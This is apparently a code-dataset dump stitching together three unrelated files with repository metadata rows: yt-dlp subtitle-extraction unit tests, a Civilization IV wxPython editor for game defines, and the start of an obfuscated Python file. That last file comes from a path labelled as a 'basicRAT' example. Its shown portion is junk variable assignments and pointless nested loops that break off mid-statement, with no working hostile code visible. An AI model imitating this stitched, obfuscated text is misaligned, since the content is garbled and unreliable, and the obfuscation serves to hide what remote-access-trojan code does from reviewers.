self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c')
def test_subtitles_in_page(self):
self.url = 'http://www.democracynow.org/2015/7/3/this_flag_comes_down_today_bree'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c')
if __name__ == '__main__':
unittest.main()
| 38.569444 | 137 | 0.673749 |
from __future__ import unicode_literals
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from test.helper import FakeYDL, md5
from yt_dlp.extractor import (
YoutubeIE,
DailymotionIE,
TEDIE,
VimeoIE,
WallaIE,
CeskaTelevizeIE,
LyndaIE,
NPOIE,
ComedyCentralIE,
NRKTVIE,
RaiPlayIE,
VikiIE,
ThePlatformIE,
ThePlatformFeedIE,
RTVEALaCartaIE,
DemocracynowIE,
)
class BaseTestSubtitles(unittest.TestCase):
url = None
IE = None
def setUp(self):
self.DL = FakeYDL()
self.ie = self.IE()
self.DL.add_info_extractor(self.ie)
def getInfoDict(self):
info_dict = self.DL.extract_info(self.url, download=False)
return info_dict
def getSubtitles(self):
info_dict = self.getInfoDict()
subtitles = info_dict['requested_subtitles']
if not subtitles:
return subtitles
for sub_info in subtitles.values():
if sub_info.get('data') is None:
uf = self.DL.urlopen(sub_info['url'])
sub_info['data'] = uf.read().decode('utf-8')
return dict((l, sub_info['data']) for l, sub_info in subtitles.items())
class TestYoutubeSubtitles(BaseTestSubtitles):
url = 'QRS8MkLhQmM'
IE = YoutubeIE
def test_youtube_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(len(subtitles.keys()), 13)
self.assertEqual(md5(subtitles['en']), '688dd1ce0981683867e7fe6fde2a224b')
self.assertEqual(md5(subtitles['it']), '31324d30b8430b309f7f5979a504a769')
for lang in ['fr', 'de']:
self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang)
def test_youtube_subtitles_ttml_format(self):
self.DL.params['writesubtitles'] = True
self.DL.params['subtitlesformat'] = 'ttml'
subtitles = self.getSubtitles()
self.assertEqual(md5(subtitles['en']), 'c97ddf1217390906fa9fbd34901f3da2')
def test_youtube_subtitles_vtt_format(self):
self.DL.params['writesubtitles'] = True
self.DL.params['subtitlesformat'] = 'vtt'
subtitles = self.getSubtitles()
self.assertEqual(md5(subtitles['en']), 'ae1bd34126571a77aabd4d276b28044d')
def test_youtube_automatic_captions(self):
self.url = '8YoUxe5ncPo'
self.DL.params['writeautomaticsub'] = True
self.DL.params['subtitleslangs'] = ['it']
subtitles = self.getSubtitles()
self.assertTrue(subtitles['it'] is not None)
def test_youtube_no_automatic_captions(self):
self.url = 'QRS8MkLhQmM'
self.DL.params['writeautomaticsub'] = True
subtitles = self.getSubtitles()
self.assertTrue(not subtitles)
def test_youtube_translated_subtitles(self):
self.url = 'i0ZabxXmH4Y'
self.DL.params['writeautomaticsub'] = True
self.DL.params['subtitleslangs'] = ['it']
subtitles = self.getSubtitles()
self.assertTrue(subtitles['it'] is not None)
def test_youtube_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'n5BB19UTcdA'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestDailymotionSubtitles(BaseTestSubtitles):
url = 'http://www.dailymotion.com/video/xczg00'
IE = DailymotionIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertTrue(len(subtitles.keys()) >= 6)
self.assertEqual(md5(subtitles['en']), '976553874490cba125086bbfea3ff76f')
self.assertEqual(md5(subtitles['fr']), '594564ec7d588942e384e920e5341792')
for lang in ['es', 'fr', 'de']:
self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang)
def test_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'http://www.dailymotion.com/video/x12u166_le-zapping-tele-star-du-08-aout-2013_tv'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestTedSubtitles(BaseTestSubtitles):
url = 'http://www.ted.com/talks/dan_dennett_on_our_consciousness.html'
IE = TEDIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertTrue(len(subtitles.keys()) >= 28)
self.assertEqual(md5(subtitles['en']), '4262c1665ff928a2dada178f62cb8d14')
self.assertEqual(md5(subtitles['fr']), '66a63f7f42c97a50f8c0e90bc7797bb5')
for lang in ['es', 'fr', 'de']:
self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang)
class TestVimeoSubtitles(BaseTestSubtitles):
url = 'http://vimeo.com/76979871'
IE = VimeoIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['de', 'en', 'es', 'fr']))
self.assertEqual(md5(subtitles['en']), '8062383cf4dec168fc40a088aa6d5888')
self.assertEqual(md5(subtitles['fr']), 'b6191146a6c5d3a452244d853fde6dc8')
def test_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'http://vimeo.com/56015672'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestWallaSubtitles(BaseTestSubtitles):
url = 'http://vod.walla.co.il/movie/2705958/the-yes-men'
IE = WallaIE
def test_allsubtitles(self):
self.DL.expect_warning('Automatic Captions not supported by this server')
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['heb']))
self.assertEqual(md5(subtitles['heb']), 'e758c5d7cb982f6bef14f377ec7a3920')
def test_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'http://vod.walla.co.il/movie/2642630/one-direction-all-for-one'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestCeskaTelevizeSubtitles(BaseTestSubtitles):
url = 'http://www.ceskatelevize.cz/ivysilani/10600540290-u6-uzasny-svet-techniky'
IE = CeskaTelevizeIE
def test_allsubtitles(self):
self.DL.expect_warning('Automatic Captions not supported by this server')
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['cs']))
self.assertTrue(len(subtitles['cs']) > 20000)
def test_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'http://www.ceskatelevize.cz/ivysilani/ivysilani/10441294653-hyde-park-civilizace/214411058091220'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestLyndaSubtitles(BaseTestSubtitles):
url = 'http://www.lynda.com/Bootstrap-tutorials/Using-exercise-files/110885/114408-4.html'
IE = LyndaIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '09bbe67222259bed60deaa26997d73a7')
class TestNPOSubtitles(BaseTestSubtitles):
url = 'http://www.npo.nl/nos-journaal/28-08-2014/POW_00722860'
IE = NPOIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['nl']))
self.assertEqual(md5(subtitles['nl']), 'fc6435027572b63fb4ab143abd5ad3f4')
class TestMTVSubtitles(BaseTestSubtitles):
url = 'http://www.cc.com/video-clips/p63lk0/adam-devine-s-house-party-chasing-white-swans'
IE = ComedyCentralIE
def getInfoDict(self):
return super(TestMTVSubtitles, self).getInfoDict()['entries'][0]
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '78206b8d8a0cfa9da64dc026eea48961')
class TestNRKSubtitles(BaseTestSubtitles):
url = 'http://tv.nrk.no/serie/ikke-gjoer-dette-hjemme/DMPV73000411/sesong-2/episode-1'
IE = NRKTVIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['no']))
self.assertEqual(md5(subtitles['no']), '544fa917d3197fcbee64634559221cc2')
class TestRaiPlaySubtitles(BaseTestSubtitles):
IE = RaiPlayIE
def test_subtitles_key(self):
self.url = 'http://www.raiplay.it/video/2014/04/Report-del-07042014-cb27157f-9dd0-4aee-b788-b1f67643a391.html'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['it']))
self.assertEqual(md5(subtitles['it']), 'b1d90a98755126b61e667567a1f6680a')
def test_subtitles_array_key(self):
self.url = 'https://www.raiplay.it/video/2020/12/Report---04-01-2021-2e90f1de-8eee-4de4-ac0e-78d21db5b600.html'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['it']))
self.assertEqual(md5(subtitles['it']), '4b3264186fbb103508abe5311cfcb9cd')
class TestVikiSubtitles(BaseTestSubtitles):
url = 'http://www.viki.com/videos/1060846v-punch-episode-18'
IE = VikiIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '53cb083a5914b2d84ef1ab67b880d18a')
class TestThePlatformSubtitles(BaseTestSubtitles):
# from http://www.3playmedia.com/services-features/tools/integrations/theplatform/
# (see http://theplatform.com/about/partners/type/subtitles-closed-captioning/)
url = 'theplatform:JFUjUE1_ehvq'
IE = ThePlatformIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '97e7670cbae3c4d26ae8bcc7fdd78d4b')
class TestThePlatformFeedSubtitles(BaseTestSubtitles):
url = 'http://feed.theplatform.com/f/7wvmTC/msnbc_video-p-test?form=json&pretty=true&range=-40&byGuid=n_hardball_5biden_140207'
IE = ThePlatformFeedIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '48649a22e82b2da21c9a67a395eedade')
class TestRtveSubtitles(BaseTestSubtitles):
url = 'http://www.rtve.es/alacarta/videos/los-misterios-de-laura/misterios-laura-capitulo-32-misterio-del-numero-17-2-parte/2428621/'
IE = RTVEALaCartaIE
def test_allsubtitles(self):
print('Skipping, only available from Spain')
return
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['es']))
self.assertEqual(md5(subtitles['es']), '69e70cae2d40574fb7316f31d6eb7fca')
class TestDemocracynowSubtitles(BaseTestSubtitles):
url = 'http://www.democracynow.org/shows/2015/7/3'
IE = DemocracynowIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c')
def test_subtitles_in_page(self):
self.url = 'http://www.democracynow.org/2015/7/3/this_flag_comes_down_today_bree'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c')
if __name__ == '__main__':
unittest.main()
| true | true |
f7f356ec000a83cd846dd558af9805edc32c93ce | 3,753 | py | Python | Civ4/Assets/Python/CvDefineEditor.py | f1rpo/Civ4CE | ba64c3545b479887739ad0ff78605b51b6fa57f9 | [
"CNRI-Python"
] | null | null | null | Civ4/Assets/Python/CvDefineEditor.py | f1rpo/Civ4CE | ba64c3545b479887739ad0ff78605b51b6fa57f9 | [
"CNRI-Python"
] | null | null | null | Civ4/Assets/Python/CvDefineEditor.py | f1rpo/Civ4CE | ba64c3545b479887739ad0ff78605b51b6fa57f9 | [
"CNRI-Python"
] | null | null | null | import wx;
from CvPythonExtensions import *
gc = CyGlobalContext()
gVDS = gc.getCyDefinesVarSystem()
class CvIntEditorPanel( wx.Panel ):
def __init__( self, kParent, szVarName ):
wx.Panel.__init__( self, kParent )
self.hLabel = wx.StaticText( self, -1, szVarName )
self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueInt( szVarName ) ) )
self.szVarName = szVarName;
self.hSizer = wx.BoxSizer( wx.HORIZONTAL )
self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 )
self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT )
self.SetSizer( self.hSizer )
self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit )
def OnUpdateText( self, kEvent ):
gVDS.setValueInt( self.szVarName, int(self.hEdit.GetLineText( 0 )) )
class CvFloatEditorPanel( wx.Panel ):
def __init__( self, kParent, szVarName ):
wx.Panel.__init__( self, kParent )
self.hLabel = wx.StaticText( self, -1, szVarName )
self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueFloat( szVarName ) ) )
self.szVarName = szVarName;
self.hSizer = wx.BoxSizer( wx.HORIZONTAL )
self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 )
self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT )
self.SetSizer( self.hSizer )
self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit )
def OnUpdateText( self, kEvent ):
gVDS.setValueFloat( self.szVarName, float(self.hEdit.GetLineText( 0 )) )
class CvStringEditorPanel( wx.Panel ):
def __init__( self, kParent, szVarName ):
wx.Panel.__init__( self, kParent )
self.hLabel = wx.StaticText( self, -1, szVarName )
self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueString( szVarName ) ) )
self.szVarName = szVarName;
self.hSizer = wx.BoxSizer( wx.HORIZONTAL )
self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 )
self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT )
self.SetSizer( self.hSizer )
self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit )
def OnUpdateText( self, kEvent ):
gVDS.setValueString( self.szVarName, self.hEdit.GetLineText( 0 ) )
class CvDefineEditorFrame( wx.Frame ):
ID_VARCOMBO = 1000
def __init__( self ):
wx.Frame.__init__( self, None, -1, "Info Editor", (-1,-1), (-1,-1),
wx.MAXIMIZE_BOX | wx.CLOSE_BOX | wx.SYSTEM_MENU | wx.CAPTION | wx.RESIZE_BORDER | wx.VSCROLL )
self.hSizer = wx.BoxSizer( wx.VERTICAL )
self.hVarCombo = wx.ComboBox( self, style = wx.CB_SORT | wx.CB_DROPDOWN | wx.CB_READONLY )
self.hSizer.Add( self.hVarCombo, 1, wx.EXPAND )
self.SetSizer( self.hSizer )
szVarName = gVDS.getFirstVariableName()
while szVarName != "":
self.hVarCombo.Append( szVarName )
szVarName = gVDS.getNextVariableName()
self.Bind( wx.EVT_TEXT, self.OnComboSelection, self.hVarCombo )
def OnComboSelection( self, kEvent ):
szVarName = self.hVarCombo.GetValue()
if szVarName != "":
szVarType = gVDS.getVariableType( szVarName )
hPanel = None
if szVarType == "int":
hPanel = CvIntEditorPanel( self, szVarName )
elif szVarType == "float":
hPanel = CvFloatEditorPanel( self, szVarName )
elif szVarType == "string":
hPanel = CvStringEditorPanel( self, szVarName )
if hPanel != None:
self.hSizer.Add( hPanel, 1, wx.EXPAND )
self.hSizer.Layout()
class CvDefineEditorApp( wx.App ):
def MainLoop( self ):
kEventLoop = wx.EventLoop()
wx.EventLoop.SetActive( kEventLoop )
while ( kEventLoop.Pending() ):
kEventLoop.Dispatch()
def OnInit( self ):
self.hFrame = CvDefineEditorFrame()
self.SetTopWindow( self.hFrame )
self.hFrame.Show(1)
self.SetExitOnFrameDelete( False )
return 1
kApp = CvDefineEditorApp(0)
| 31.537815 | 99 | 0.676792 | import wx;
from CvPythonExtensions import *
gc = CyGlobalContext()
gVDS = gc.getCyDefinesVarSystem()
class CvIntEditorPanel( wx.Panel ):
def __init__( self, kParent, szVarName ):
wx.Panel.__init__( self, kParent )
self.hLabel = wx.StaticText( self, -1, szVarName )
self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueInt( szVarName ) ) )
self.szVarName = szVarName;
self.hSizer = wx.BoxSizer( wx.HORIZONTAL )
self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 )
self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT )
self.SetSizer( self.hSizer )
self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit )
def OnUpdateText( self, kEvent ):
gVDS.setValueInt( self.szVarName, int(self.hEdit.GetLineText( 0 )) )
class CvFloatEditorPanel( wx.Panel ):
def __init__( self, kParent, szVarName ):
wx.Panel.__init__( self, kParent )
self.hLabel = wx.StaticText( self, -1, szVarName )
self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueFloat( szVarName ) ) )
self.szVarName = szVarName;
self.hSizer = wx.BoxSizer( wx.HORIZONTAL )
self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 )
self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT )
self.SetSizer( self.hSizer )
self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit )
def OnUpdateText( self, kEvent ):
gVDS.setValueFloat( self.szVarName, float(self.hEdit.GetLineText( 0 )) )
class CvStringEditorPanel( wx.Panel ):
def __init__( self, kParent, szVarName ):
wx.Panel.__init__( self, kParent )
self.hLabel = wx.StaticText( self, -1, szVarName )
self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueString( szVarName ) ) )
self.szVarName = szVarName;
self.hSizer = wx.BoxSizer( wx.HORIZONTAL )
self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 )
self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT )
self.SetSizer( self.hSizer )
self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit )
def OnUpdateText( self, kEvent ):
gVDS.setValueString( self.szVarName, self.hEdit.GetLineText( 0 ) )
class CvDefineEditorFrame( wx.Frame ):
ID_VARCOMBO = 1000
def __init__( self ):
wx.Frame.__init__( self, None, -1, "Info Editor", (-1,-1), (-1,-1),
wx.MAXIMIZE_BOX | wx.CLOSE_BOX | wx.SYSTEM_MENU | wx.CAPTION | wx.RESIZE_BORDER | wx.VSCROLL )
self.hSizer = wx.BoxSizer( wx.VERTICAL )
self.hVarCombo = wx.ComboBox( self, style = wx.CB_SORT | wx.CB_DROPDOWN | wx.CB_READONLY )
self.hSizer.Add( self.hVarCombo, 1, wx.EXPAND )
self.SetSizer( self.hSizer )
szVarName = gVDS.getFirstVariableName()
while szVarName != "":
self.hVarCombo.Append( szVarName )
szVarName = gVDS.getNextVariableName()
self.Bind( wx.EVT_TEXT, self.OnComboSelection, self.hVarCombo )
def OnComboSelection( self, kEvent ):
szVarName = self.hVarCombo.GetValue()
if szVarName != "":
szVarType = gVDS.getVariableType( szVarName )
hPanel = None
if szVarType == "int":
hPanel = CvIntEditorPanel( self, szVarName )
elif szVarType == "float":
hPanel = CvFloatEditorPanel( self, szVarName )
elif szVarType == "string":
hPanel = CvStringEditorPanel( self, szVarName )
if hPanel != None:
self.hSizer.Add( hPanel, 1, wx.EXPAND )
self.hSizer.Layout()
class CvDefineEditorApp( wx.App ):
def MainLoop( self ):
kEventLoop = wx.EventLoop()
wx.EventLoop.SetActive( kEventLoop )
while ( kEventLoop.Pending() ):
kEventLoop.Dispatch()
def OnInit( self ):
self.hFrame = CvDefineEditorFrame()
self.SetTopWindow( self.hFrame )
self.hFrame.Show(1)
self.SetExitOnFrameDelete( False )
return 1
kApp = CvDefineEditorApp(0)
| true | true |
f7f35712eb938fe589999abc60637f719a79625e | 33,978 | py | Python | intensio/examples/python/intermediate/output/basicRAT-example/core/zMJIDSQBjssyEayGxDrxJGHzInFeSJvxzsGGSMSsCIHSEyiEAwPOFiAvyOoavMB.py | Warlockk/Intensio-Obfuscator | befaf1cfd2f7320266f07ef036542413317b3d9b | [
"MIT"
] | 1 | 2020-02-25T10:54:44.000Z | 2020-02-25T10:54:44.000Z | intensio/examples/python/intermediate/output/basicRAT-example/core/zMJIDSQBjssyEayGxDrxJGHzInFeSJvxzsGGSMSsCIHSEyiEAwPOFiAvyOoavMB.py | Warlockk/Intensio-Obfuscator | befaf1cfd2f7320266f07ef036542413317b3d9b | [
"MIT"
] | null | null | null | intensio/examples/python/intermediate/output/basicRAT-example/core/zMJIDSQBjssyEayGxDrxJGHzInFeSJvxzsGGSMSsCIHSEyiEAwPOFiAvyOoavMB.py | Warlockk/Intensio-Obfuscator | befaf1cfd2f7320266f07ef036542413317b3d9b | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
CMHJDDuwtnJOJEgwAFzaRuhsJjPDDNqFVEICfSJnGHJHPCAGsGSltJJqzZSnBSG = 'SIxBtIIzPyYCFYIzthFRGSvFDDuFwBovWjGSmCEPSGJxOHPxQIdPvFRQipQUoSF'
tSfJpykyVzZUSAjLDRaOWJiRuFJvewFptEWFlGxrusCHsNtHZIEEUDvGgRsuxvk = 'HTTlzOPJtIHQDRIBqsQBxwSBFAWoADSnHsNVujDRuoGHJOSSPMmXGxSVpktJqC'
jyPSVREmREuSPOwjDnoEDRgMelDDDAxfDwQSrmTvIHRnfWGPxBIDDkuIChxowtq = 'BxDOFNFjyFJBgSGqHJGkBEnqJpIiGQGSorjDmIvGITqHugtIBnzCZGYJuzCGVzq'
FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD = 'EDPCLQSlOuCYBGJIQAzqDClCAEySREJSOGIrINFNPSBJkASeCvXCFWnCFJPHUJ'
RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx = 'xPoqwOHsSBnOLYSvhRElnoumSIASsDtxOuPvHmtmPoAPmzJqNduXySDQiqRDxPE'
qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO = 'GAluSGCowwqErAgJoNFLFyFTrirxkWzHJsRhJkIgyDUGwAACByPQIDvGtWzCCHC'
if jyPSVREmREuSPOwjDnoEDRgMelDDDAxfDwQSrmTvIHRnfWGPxBIDDkuIChxowtq == FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD:
for qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO in RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx:
if qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO == FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD:
RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx = CMHJDDuwtnJOJEgwAFzaRuhsJjPDDNqFVEICfSJnGHJHPCAGsGSltJJqzZSnBSG
else:
FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD = tSfJpykyVzZUSAjLDRaOWJiRuFJvewFptEWFlGxrusCHsNtHZIEEUDvGgRsuxvk
import datetime
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = 'iyGEgFrlTCsGQIESMwGGQUkoJRTxnGAvRGAGEwrEEvuorDDmDDzoAsHSEWzczjD'
zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF = 'yGCkISBCAAxRcNwrFCOpEwvSCNILDgBXeRkQvFxjEHVQGQHsrvoyJnNFsIFJzmE'
OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'DQAWGuMAGMmCtlvqQwfMDvsNVBGHiCsGAyCspHAuWwJFtJvFzDxIJKfJJNvUAJv'
QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = 'qyQSXriqzExEXExDkHHpGNGruDCzJzzqPIotADVnsEJHxOCQezDPrGFGYzySShJ'
if zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF == SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE:
for SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
if zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln'
elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln:
QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE
else:
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF
elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp:
for OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
if QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln'
elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln:
QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE
else:
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF
for OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
if QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
